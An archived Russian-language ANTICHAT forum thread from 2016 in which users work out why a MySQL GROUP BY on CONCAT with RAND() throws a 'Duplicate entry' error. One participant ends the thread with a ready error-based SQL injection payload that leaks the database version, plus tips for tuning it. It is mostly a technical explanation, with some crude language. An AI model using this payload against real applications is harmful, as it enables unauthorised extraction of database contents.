HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.12.2016, 02:17
artkar
Guest
Сообщений: n/a
Провел на форуме:
131082

Репутация: 6
По умолчанию

А как эта конструкция работает:

SELECT COUNT(*)

FROM (

SELECT 1 UNION SELECT 2 UNION SELECT 3

)x

GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))

типо как происходит план запроса ?

В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....
 
Ответить с цитированием

  #2  
Старый 02.12.2016, 22:58
artkar
Guest
Сообщений: n/a
Провел на форуме:
131082

Репутация: 6
По умолчанию

Ну чё притухли школота? Ктожи объяснит дяде арткару как работает этот запрос?

Что никто не знает?
 
Ответить с цитированием

  #3  
Старый 04.12.2016, 01:29
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

Скажу тебе как школьник, забей ты , что это уйня, что то ***ня, лучше по утро дрочнуть
 
Ответить с цитированием

  #4  
Старый 05.12.2016, 14:13
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

Цитата:
Сообщение от artkar  
artkar said:

А как эта конструкция работает:
SELECT COUNT(*)
FROM (
SELECT 1 UNION SELECT 2 UNION SELECT 3
)x
GROUP BY CONCAT(MID(VERSION(), 1, 63), FLOOR(RAND(0)*2))
типо как происходит план запроса ?
В том смысле у меня вообще групп бай в выражениях весь игнорируется кроме этого....
ну ахуеть, назвал всех школьниками и просишь объяснить

что там у тебя в group by игнорируется? подзапросы в нем работают

Код:
Code:
select 1 from(select 1)x group by (select 1);
ну и ничего мистического не вижу что в твоем примере отрабатывает concat, а почему селектит версию базы а не COUNT(*)? так наверно потому что запрос падает с ошибкой и это внезапно называется error-based вектор

удивительно какие запросы может переваривать мускул

Код:
Code:
select@x,/*!{$from(select(@x:=version()))}*/,0.3from(select~@)x;
+------+--------------------------------+-----+
| @x   | {$from(select(@x:=version()))} | 0.3 |
+------+--------------------------------+-----+
|    1 | 5.6.31                         | 0.3 |
+------+--------------------------------+-----+
если ты такой дядька, то может знаешь сишку, откроешь сорцы парсера да расскажешь нам сам?
 
Ответить с цитированием

  #5  
Старый 05.12.2016, 15:10
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

вообще мне тоже не понятно почему работает именно так, count в некоторых случаях при использовании rand делает несколько выборок, что как то странно

Код:
Code:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',rand(0)*2);
+----------+
| count(*) |
+----------+
|        1 |
|        1 |
|        1 |
+----------+
3 rows in set (0.00 sec)
видимо натыкается на использование одной и той же колонки, судя по ошибке, правда не понятно почему он не падает в примере выше, а только при использовании floor

Код:
Code:
select count(*) from(select 1 union select 3 union select 9)x group by concat('qqq',':',floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'qqq:1' for key 'group_key'
что то явно хотели оптимизировать при вычислении запроса и х*й угадали походу
 
Ответить с цитированием

  #6  
Старый 05.12.2016, 16:06
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

похоже если какую то часть конструкции не удаётся высчитать сразу, то он таки прогоняет запрос для каждого union

Код:
Code:
select count(*) from(select 1 union select 2 union select 3)x group by (rand(1)*2);
+----------+
| count(*) |
+----------+
|        1 |
|        1 |
|        1 |
+----------+
3 rows in set (0.00 sec)
ну и число похоже должно быть не целочисленное

Код:
Code:
select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(1)*2) + 1);
+----------+
| count(*) |
+----------+
|        2 |
|        1 |
+----------+
2 rows in set (0.00 sec)

select count(*) from(select 'z' union select 'x' union select 'e')x group by (md5(rand(0)*2) + 1);

ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

select (md5(rand(1)*2) + 1);
+----------------------+
| (md5(rand(1)*2) + 1) |
+----------------------+
|                    4 |
+----------------------+
1 row in set (0.00 sec)

select (md5(rand(0)*2) + 1);
+------------------------+
| (md5(rand(0)*2) + 1)   |
+------------------------+
| 1.7976931348623157e308 |
+------------------------+
1 row in set (0.00 sec)
думаю никто не расстроится если я тут пофлужу

------------------------------

Код:
Code:
select md5(rand(0)*2);
+----------------------------------+
| md5(rand(0)*2)                   |
+----------------------------------+
| 810e2137cdf4bde97083b021c6b34a09 |
+----------------------------------+
0e кастование типов, ноги float растут отсюда, не забыть найти линк

----------------------------------------------

Код:
Code:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 1));
ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

> select (md5(rand(19)*2) + 1);
+-----------------------+
| (md5(rand(19)*2) + 1) |
+-----------------------+
|             977882091 |
+-----------------------+
1 row in set (0.00 sec)
мде

-------------------------------------------------

Код:
Code:
> select count(*) from(select 'z' union select 'x' union select 'e')x group by concat(version(),':',(md5(rand(19)*2) + 999));
ERROR 1062 (23000): Duplicate entry '5.6.31:999' for key 'group_key'
5.6.31:1 .... 5.6.31:999

куда девается (md5(rand(19)*2)
 
Ответить с цитированием

  #7  
Старый 05.12.2016, 21:43
t0ma5
Guest
Сообщений: n/a
Провел на форуме:
300820

Репутация: 90
По умолчанию

стопудово это с rand накосячили, пофазил другие функции, такого поведения нет

рабочий вектор 'Duplicate entry' для error-based

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(19)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

> select * from users where id=1 or (select count(*)from(select(1)union(select(2)))x group by concat(/*my*/(select version())/*select*/,':',(md5(rand(0)*2) + 1)));

ERROR 1062 (23000): Duplicate entry '5.6.31:1' for key 'group_key'

если получаем "Subquery returns more than 1 row" поиграться с числами для rand, rand(0)/rand(6)/rand(19) , можно юзать floor, но там тоже магия с числами, у меня завелось только с floor(rand(12)*2))

нафига не знаю, уверен где нибудь в недрах рдота или ачата это уже описано, хотел пофлудить

-------------

ну да это классический error-based, wtf почему не решили пофиксить ипать сколько лет уже прошло
 
Ответить с цитированием

  #8  
Старый 12.12.2016, 18:50
artkar
Guest
Сообщений: n/a
Провел на форуме:
131082

Репутация: 6
По умолчанию

А чёйта мой топег про MySQL перенесли из Раздела "MySQL" в Вэб-уязвимости? Мне та в принципе пох, но просто интересно...
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ